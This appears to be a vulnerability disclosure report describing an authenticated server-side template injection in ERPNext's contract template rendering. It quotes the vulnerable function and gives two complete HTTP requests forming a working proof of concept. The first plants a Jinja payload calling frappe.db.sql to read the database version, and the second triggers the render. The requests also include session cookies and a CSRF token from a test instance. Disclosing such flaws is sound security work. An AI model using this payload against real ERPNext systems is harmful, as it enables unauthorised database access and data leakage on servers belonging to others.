Description:

An authenticated SSTI (Server-Side Template Injection) vulnerability exists in the get_contract_template method of ERPNext. The function renders attacker-controlled Jinja2 templates (contract_terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals().

An attacker with access to create or modify a Contract Template can inject arbitrary Jinja expressions into the contract_terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Vulnerable source code:

File /erpnext/crm/doctype/contract_template/contract_template

@frappe.whitelist()
def get_contract_template(template_name, doc):
	if isinstance(doc, str):
		doc = json.loads(doc)

	contract_template = frappe.get_doc("Contract Template", template_name)
	contract_terms = None

	if contract_template.contract_terms:
		contract_terms = frappe.render_template(contract_template.contract_terms, doc)

	return {"contract_template": contract_template, "contract_terms": contract_terms}

Request set contract_terms={{ frappe.db.sql("SELECT @@version") }}

POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/contract-template/new-contract-template-vlyjarqlcl>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Requested-With: XMLHttpRequest
Content-Length: 485
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=

doc=%7B%22docstatus%22%3A0%2C%22doctype%22%3A%22Contract+Template%22%2C%22name%22%3A%22new-contract-template-vlyjarqlcl%22%2C%22__islocal%22%3A1%2C%22__unsaved%22%3A1%2C%22owner%22%3A%22Administrator%22%2C%22requires_fulfilment%22%3A0%2C%22fulfilment_terms%22%3A%5B%5D%2C%22title%22%3A%22helloan1%22%2C%22contract_terms%22%3A%22%3Cdiv+class%3D%5C%22ql-editor+read-mode%5C%22%3E%3Cp%3E%7B%7B+frappe.db.sql(%5C%22SELECT+%40%40version%5C%22)+%7D%7D%3C%2Fp%3E%3C%2Fdiv%3E%22%7D&action=Save

Request trigger

POST /api/method/erpnext.crm.doctype.contract_template.contract_template.get_contract_template HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/process-statement-of-accounts>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD: 
X-Frappe-Doctype: Process%20Statement%20Of%20Accounts
X-Requested-With: XMLHttpRequest
Content-Length: 1327
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=

template_name=helloan&doc=%7B%22name%22%3A%22SSTI-Test+-+A%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-18+11%3A00%3A36.290743%22%2C%22modified%22%3A%222025-07-21+22%3A58%3A19.620782%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22dunning_type%22%3A%22SSTI-Test%22%2C%22is_default%22%3A0%2C%22company%22%3A%22a%22%2C%22dunning_fee%22%3A100%2C%22rate_of_interest%22%3A0%2C%22doctype%22%3A%22Dunning+Type%22%2C%22dunning_letter_text%22%3A%5B%7B%22name%22%3A%22h7bdhjsggh%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-18+11%3A00%3A36.290743%22%2C%22modified%22%3A%222025-07-21+22%3A58%3A19.620782%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A1%2C%22language%22%3A%22en%22%2C%22is_default_language%22%3A0%2C%22body_text%22%3A%22%3Cdiv+class%3D%5C%22ql-editor+read-mode%5C%22%3E%3Cp%3E%7B%7B7*7%7D%7D1%3C%2Fp%3E%3C%2Fdiv%3E%22%2C%22closing_text%22%3A%22%3Cdiv+class%3D%5C%22ql-editor+read-mode%5C%22%3E%3Cp%3E%7B%7B7*7%7D%7D%3C%2Fp%3E%3C%2Fdiv%3E%22%2C%22parent%22%3A%22SSTI-Test+-+A%22%2C%22parentfield%22%3A%22dunning_letter_text%22%2C%22parenttype%22%3A%22Dunning+Type%22%2C%22doctype%22%3A%22Dunning+Letter+Text%22%7D%5D%2C%22__last_sync_on%22%3A%222025-07-21T15%3A58%3A54.330Z%22%2C%22__unsaved%22%3A1%7D

PoC

image.png